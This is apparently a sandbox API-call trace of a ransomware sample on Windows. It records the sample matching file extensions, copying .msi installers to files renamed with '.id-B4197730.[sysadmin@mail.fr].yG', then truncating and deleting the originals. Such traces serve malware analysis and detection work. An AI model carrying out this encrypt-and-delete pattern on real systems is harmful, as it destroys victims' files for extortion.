	[0043.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.605] lstrlenW (lpString=".jpg") returned 4
	[0043.605] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0043.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.605] lstrlenW (lpString=".doc") returned 4
	[0043.605] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0043.605] lstrlenW (lpString=".docx") returned 5
	[0043.605] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0043.605] lstrlenW (lpString=".pdf") returned 4
	[0043.605] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0043.605] lstrlenW (lpString=".xls") returned 4
	[0043.605] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0043.605] lstrlenW (lpString=".xlsx") returned 5
	[0043.605] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0043.605] lstrlenW (lpString=".ppt") returned 4
	[0043.605] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0043.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.605] lstrlenW (lpString=".zip") returned 4
	[0043.605] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0043.605] lstrlenW (lpString=".rar") returned 4
	[0043.605] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0043.605] lstrlenW (lpString=".bz2") returned 4
	[0043.605] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0043.605] lstrlenW (lpString=".7z") returned 3
	[0043.605] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0043.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.606] lstrlenW (lpString=".dbf") returned 4
	[0043.606] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0043.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.606] lstrlenW (lpString=".1cd") returned 4
	[0043.606] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0043.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40
	[0043.606] lstrlenW (lpString=".jpg") returned 4
	[0043.606] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0043.606] lstrcmpiW (lpString1=".msi", lpString2=".yG") returned -1
	[0043.606] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22
	[0043.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0043.606] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=872448) returned 1
	[0043.607] CloseHandle (hObject=0x2e0) returned 1
	[0043.607] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80
	[0043.607] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.607] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0043.607] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.607] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.607] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0043.607] GetLastError () returned 0x0
	[0043.607] ReadFile (in: hFile=0x2e0, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0xd5000, lpOverlapped=0x0) returned 1
	[0043.829] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xd5010, lpOverlapped=0x0) returned 1
	[0043.841] ReadFile (in: hFile=0x2e0, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.841] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x100, lpOverlapped=0x0) returned 1
	[0043.841] SetEndOfFile (hFile=0x300) returned 1
	[0043.841] CloseHandle (hObject=0x300) returned 1
	[0043.854] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.854] SetEndOfFile (hFile=0x2e0) returned 1
	[0043.878] CloseHandle (hObject=0x2e0) returned 1
	[0043.879] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.882] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1
	[0043.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.883] lstrlenW (lpString=".doc") returned 4
	[0043.883] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0043.883] lstrlenW (lpString=".docx") returned 5
	[0043.883] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0043.883] lstrlenW (lpString=".pdf") returned 4
	[0043.883] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0043.883] lstrlenW (lpString=".xls") returned 4
	[0043.883] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0043.883] lstrlenW (lpString=".xlsx") returned 5
	[0043.883] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0043.883] lstrlenW (lpString=".ppt") returned 4
	[0043.883] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0043.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.883] lstrlenW (lpString=".zip") returned 4
	[0043.883] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0043.883] lstrlenW (lpString=".rar") returned 4
	[0043.883] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0043.883] lstrlenW (lpString=".bz2") returned 4
	[0043.883] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0043.884] lstrlenW (lpString=".7z") returned 3
	[0043.884] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0043.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.884] lstrlenW (lpString=".dbf") returned 4
	[0043.884] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0043.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.884] lstrlenW (lpString=".1cd") returned 4
	[0043.884] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0043.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.884] lstrlenW (lpString=".jpg") returned 4
	[0043.884] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0043.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.884] lstrlenW (lpString=".doc") returned 4
	[0043.884] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0043.884] lstrlenW (lpString=".docx") returned 5
	[0043.884] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0043.884] lstrlenW (lpString=".pdf") returned 4
	[0043.884] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0043.884] lstrlenW (lpString=".xls") returned 4
	[0043.884] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0043.884] lstrlenW (lpString=".xlsx") returned 5
	[0043.884] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0043.884] lstrlenW (lpString=".ppt") returned 4
	[0043.884] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0043.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.884] lstrlenW (lpString=".zip") returned 4
	[0043.884] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0043.884] lstrlenW (lpString=".rar") returned 4
	[0043.884] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0043.884] lstrlenW (lpString=".bz2") returned 4
	[0043.884] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0043.884] lstrlenW (lpString=".7z") returned 3
	[0043.885] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0043.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.885] lstrlenW (lpString=".dbf") returned 4
	[0043.885] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0043.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.885] lstrlenW (lpString=".1cd") returned 4
	[0043.885] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0043.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0043.885] lstrlenW (lpString=".jpg") returned 4
	[0043.885] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0043.885] lstrcmpiW (lpString1=".msi", lpString2=".yG") returned -1
	[0043.885] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22
	[0043.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0043.885] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=495616) returned 1
	[0043.885] CloseHandle (hObject=0x2e0) returned 1
	[0043.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80
	[0043.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0043.885] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.886] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0043.886] GetLastError () returned 0x0
	[0043.886] ReadFile (in: hFile=0x2e0, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x79000, lpOverlapped=0x0) returned 1
	[0044.154] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x79010, lpOverlapped=0x0) returned 1
	[0044.161] ReadFile (in: hFile=0x2e0, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.161] WriteFile (in: hFile=0x300, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x100, lpOverlapped=0x0) returned 1
	[0044.161] SetEndOfFile (hFile=0x300) returned 1
	[0044.161] CloseHandle (hObject=0x300) returned 1
	[0044.212] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.212] SetEndOfFile (hFile=0x2e0) returned 1
	[0044.216] CloseHandle (hObject=0x2e0) returned 1
	[0044.216] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.216] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1
	[0044.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.216] lstrlenW (lpString=".doc") returned 4
	[0044.216] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.216] lstrlenW (lpString=".docx") returned 5
	[0044.216] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0044.216] lstrlenW (lpString=".pdf") returned 4
	[0044.216] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.216] lstrlenW (lpString=".xls") returned 4
	[0044.216] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.216] lstrlenW (lpString=".xlsx") returned 5
	[0044.217] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0044.217] lstrlenW (lpString=".ppt") returned 4
	[0044.217] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.217] lstrlenW (lpString=".zip") returned 4
	[0044.217] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.217] lstrlenW (lpString=".rar") returned 4
	[0044.217] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.217] lstrlenW (lpString=".bz2") returned 4
	[0044.217] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.217] lstrlenW (lpString=".7z") returned 3
	[0044.217] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.217] lstrlenW (lpString=".dbf") returned 4
	[0044.217] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.217] lstrlenW (lpString=".1cd") returned 4
	[0044.217] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.217] lstrlenW (lpString=".jpg") returned 4
	[0044.217] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.217] lstrlenW (lpString=".doc") returned 4
	[0044.217] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.217] lstrlenW (lpString=".docx") returned 5
	[0044.217] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0044.217] lstrlenW (lpString=".pdf") returned 4
	[0044.217] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.217] lstrlenW (lpString=".xls") returned 4
	[0044.217] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.217] lstrlenW (lpString=".xlsx") returned 5
	[0044.217] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0044.217] lstrlenW (lpString=".ppt") returned 4
	[0044.217] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.217] lstrlenW (lpString=".zip") returned 4
	[0044.218] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.218] lstrlenW (lpString=".rar") returned 4
	[0044.218] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.218] lstrlenW (lpString=".bz2") returned 4
	[0044.218] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.218] lstrlenW (lpString=".7z") returned 3
	[0044.218] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.218] lstrlenW (lpString=".dbf") returned 4
	[0044.218] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.218] lstrlenW (lpString=".1cd") returned 4
	[0044.218] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0044.218] lstrlenW (lpString=".jpg") returned 4
	[0044.218] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.218] lstrcmpiW (lpString1=".msi", lpString2=".yG") returned -1
	[0044.218] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16
	[0044.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0044.247] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=184832) returned 1
	[0044.247] CloseHandle (hObject=0x2f8) returned 1
	[0044.247] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80
	[0044.247] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.247] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0044.247] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.247] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.247] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0044.247] GetLastError () returned 0x0
	[0044.247] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x2d200, lpOverlapped=0x0) returned 1
	[0044.328] WriteFile (in: hFile=0x2fc, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x2d210, lpOverlapped=0x0) returned 1
	[0044.332] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.332] WriteFile (in: hFile=0x2fc, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf4, lpOverlapped=0x0) returned 1
	[0044.332] SetEndOfFile (hFile=0x2fc) returned 1
	[0044.332] CloseHandle (hObject=0x2fc) returned 1
	[0044.335] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.335] SetEndOfFile (hFile=0x2f8) returned 1
	[0044.337] CloseHandle (hObject=0x2f8) returned 1
	[0044.337] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.337] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1
	[0044.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.338] lstrlenW (lpString=".doc") returned 4
	[0044.338] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.338] lstrlenW (lpString=".docx") returned 5
	[0044.338] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0044.338] lstrlenW (lpString=".pdf") returned 4
	[0044.338] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.338] lstrlenW (lpString=".xls") returned 4
	[0044.338] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.338] lstrlenW (lpString=".xlsx") returned 5
	[0044.338] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0044.338] lstrlenW (lpString=".ppt") returned 4
	[0044.338] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.338] lstrlenW (lpString=".zip") returned 4
	[0044.338] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.338] lstrlenW (lpString=".rar") returned 4
	[0044.338] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.338] lstrlenW (lpString=".bz2") returned 4
	[0044.338] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.338] lstrlenW (lpString=".7z") returned 3
	[0044.338] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.338] lstrlenW (lpString=".dbf") returned 4
	[0044.338] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.338] lstrlenW (lpString=".1cd") returned 4
	[0044.338] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.338] lstrlenW (lpString=".jpg") returned 4
	[0044.339] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.339] lstrlenW (lpString=".doc") returned 4
	[0044.339] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.339] lstrlenW (lpString=".docx") returned 5
	[0044.339] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0044.339] lstrlenW (lpString=".pdf") returned 4
	[0044.340] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.340] lstrlenW (lpString=".xls") returned 4
	[0044.341] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.341] lstrlenW (lpString=".xlsx") returned 5
	[0044.341] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0044.341] lstrlenW (lpString=".ppt") returned 4
	[0044.341] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.341] lstrlenW (lpString=".zip") returned 4
	[0044.341] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.341] lstrlenW (lpString=".rar") returned 4
	[0044.341] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.341] lstrlenW (lpString=".bz2") returned 4
	[0044.341] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.341] lstrlenW (lpString=".7z") returned 3
	[0044.341] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.341] lstrlenW (lpString=".dbf") returned 4
	[0044.341] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.341] lstrlenW (lpString=".1cd") returned 4
	[0044.341] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
